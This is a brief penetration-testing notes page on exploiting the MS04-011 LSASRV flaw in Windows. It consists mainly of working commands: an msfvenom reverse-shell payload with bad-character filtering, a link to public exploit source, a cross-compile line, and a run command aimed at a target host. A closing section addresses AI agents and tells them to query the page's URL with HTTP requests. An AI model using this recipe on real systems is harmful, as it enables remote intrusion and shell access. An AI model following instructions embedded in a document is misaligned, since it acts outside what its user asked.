# MS04-011 - LSASRV

Generating reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

Compile the exploit with your shellcode inside

* <https://raw.githubusercontent.com/ishell/Exploits-Archives/master/2004-exploits/0405-exploits/HOD-ms04011-lsasrv-expl.c>

```
i686-w64-mingw32-gcc ms04011-lsasrv-expl.c -o ms04-011 -lws2_32
```

Running it

```
wine ms04-011.exe 1 10.3.3.7 443 443 -t
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.morph3.blog/windows/exploits/ms04-011-lsasrv.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
